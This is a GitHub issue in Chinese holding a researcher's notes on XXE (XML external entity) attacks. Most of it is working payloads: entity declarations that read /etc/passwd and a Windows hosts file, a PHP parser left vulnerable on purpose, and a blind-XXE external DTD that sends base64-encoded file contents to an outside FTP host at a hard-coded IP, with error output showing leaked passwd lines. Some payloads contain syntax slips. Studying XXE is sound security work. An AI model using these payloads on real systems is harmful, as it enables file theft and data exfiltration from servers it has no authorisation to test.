Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XXE 漏洞研究(完善中) #1

Open
xinali opened this issue Feb 27, 2018 · 0 comments
Open

XXE 漏洞研究(完善中) #1

xinali opened this issue Feb 27, 2018 · 0 comments

Comments

@xinali
Copy link
Owner

xinali commented Feb 27, 2018

XXE 漏洞

XML简单基础

XML规则

内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

引入外部实体方式

  1. 直接引入
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd>
]>
<root>&b;</root>
  1. 引入外部dtd
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://example.com/evil.dtd">
    %d;
]>
<root>&b;</root>

其中evil.dtd

<!ENTITY b system "file:///etc/passwd">
  1. 2的变种
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://example.com/evil.dtd">
<root>&b;</root>

其中evil.dtd

<!ENTITY b SYSTEM "file:///etc/passwd">

有无百分号%决定了是否引用外部的dtd文件,引用了外部实体,外部的实体可以在POST请求中调用,也可以在外部实体文件中调用,测试中在POST请求中可以实现调用。调用实体一般是%entity;

实例测试

存在回显,且回显的规则已知

使用php测试,其中测试代码

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;
?>
  1. 直接使用规则测试是否允许远程实体解析
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://j7wepb.ceye.io/" >]>
<root>
<name>&xxe;</name>
</root>
  1. 直接测试回显本地文件
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

不存在回显,即XXE盲注(Blind XXE)

在测试中,如果不存在回显的情况,首先需要使用确定是否存在远程实体解析,如果存在,那么可以将数据远程到设置的主机上显示

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % xxe SYSTEM "http://116.211.25.21:5000/evil.dtd">
    %xxe;
]>

其中evil.dtd

<!ENTITY % send SYSTEM "<!ENTITY &#25; extfile SYSTEM 'ftp://116.211.25.21:2121/?p=%file;'>">                                                  
%send;                                                                                                                                        
%extfile;

在测试中,还有一种情况,可能测试成功不回显,但是在测试造成错误时,会把错误信息打印出来

<b>Warning</b>:  simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://45.32.138.6:8000/?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/ga

XXE形成(涉及各种服务)

  1. 通过xmlrpc

其中xml post

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>username</value></param>
   <param><value>password</value></param>
  </params>
</methodCall>

可以形成的xxe
<xml version="1.0"?>]>&xxe;

  1. soap服务

  2. 上传XML配置文件等
    有一则博客园上传案例

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!DOCTYPE note [
  <!ENTITY test SYSTEM "file:///C://WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS">
]]]>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">

   <channel>
             <title>博客园-阔爱的贝贝</title>
         <link>http://www.cnblogs.com/kuoaidebb/</link>
           <description>一枚想当黑客的程序媛</description>
            <language>zh-cn</language>
               <lastBuildDate>Sun, 03 May 2015 11:19:00 GMT</lastBuildDate>
             <pubDate>Sun, 03 May 2015 11:19:00 GMT</pubDate>
         <ttl>60</ttl>
            <item>
                 <title>test]]&gt;&test;</title>            <link>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</link>

                    <dc:creator>阔爱的贝贝</dc:creator>
                   <author>阔爱的贝贝</author>
                   <pubDate>Sun, 03 May 2015 11:13:00 GMT</pubDate>               <guid>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</guid>

                    <description><![CDATA[<p>]]&gt;</p>]]></description>
               </item>
 </channel>
</rss>

不同语言对应的使用的库存在XXE统计

参考文献

未知攻焉知防——XXE漏洞攻防--腾讯安全中心
XXE漏洞以及Blind XXE总结--Exploit的小站

@xinali xinali changed the title XXE 漏洞(完善中...) XXE 漏洞(完善中) Apr 18, 2018
@xinali xinali changed the title XXE 漏洞(完善中) XXE 漏洞研究(完善中) Apr 18, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant